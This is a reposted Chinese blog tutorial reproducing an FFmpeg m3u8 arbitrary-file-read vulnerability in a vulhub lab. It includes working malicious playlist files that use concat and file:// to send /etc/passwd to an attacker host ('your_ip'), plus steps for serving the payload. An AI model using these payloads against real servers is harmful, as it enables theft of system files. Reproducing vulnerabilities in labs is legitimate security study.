漏洞描述
漏洞环境及利用
由于vulhub并没有讲述该漏洞如何复现，我们需要进入环境查看源码
<?php
if(!empty($_FILES)) {
$filename = escapeshellarg($_FILES[‘file‘][‘tmp_name‘]);
$newname = ‘./’ . uniqid() . ‘.mp4′;
shell_exec(“ffmpeg -i $filename $newname“);
}
?>
可以看到就是调用了ffmpeg这个工具来处理文件
这是一个恶意请求的m3u8文件：
#EXTM3U
#EXT-X-MEDIA-SEQUENCE:0
#EXTINF:10.0,
http://your_ip:9999/test.txt
#EXT-X-ENDLIST
#EXTM3U 标签是 m3u8 的文件头，开头必须要这一行
#EXT-X-MEDIA-SEQUENCE 表示每一个media URI 在 PlayList中只有唯一的序号，相邻之间序号+1
#EXTINF:10.0, 表示该一段 TS 流文件的长度
#EXT-X-ENDLIST 这个相当于文件结束符
这些是 m3u8 的最基本的标签，而问题就出在 FFMpeg 去请求 TS 流文件（URL）时，FFMpeg 不会判断里面的流地址，直接请求。所以我们可以试想，用FFMpeg内自带的concat函数，将一个不包含文件结束符的文件与file协议读取的文件衔接起来，请求回攻击机，就能够达到读取任意文件的效果！
漏洞复现
首先，我们需要在 web 服务器上创建一个 back.txt，文件内容是 m3u8 的格式，其中不包含文件结束符。
其次，我们再创建一个恶意的 m3u8 文件，文件内容通过 concat 拼接本地文件/etc/passwd。
最后，我们上传这个恶意的 m3u8 文件。
back.txt：
#EXTM3U
#EXT-X-MEDIA-SEQUENCE:0
#EXTINF:,
http://your_ip:9999/?
#EXTM3U
#EXT-X-TARGETDURATION:6
#EXTINF:10.0,
concat:http://your_ip/back.txt|file:///etc/passwd
#EXT-X-ENDLIST
Tip: 以上的文件需要使用记事本编辑保存，选择默认 utf-8 格式。使用vim来编译可能会导致复现失败。
使用python来搭建一个简易的web，将back.txt部署到web上。
python2 –m SimpleHTTPServer 8888
或
python3 -m http.server 8888
原文地址:https://blog.csdn.net/weixin_56537388/article/details/134681621
本文来自互联网用户投稿，该文观点仅代表作者本人，不代表本站立场。本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。
如若转载，请注明出处：http://www.7code.cn/show_41082.html
如若内容造成侵权/违法违规/事实不符，请联系代码007邮箱：suwngjj01@126.com进行投诉反馈，一经查实，立即删除！
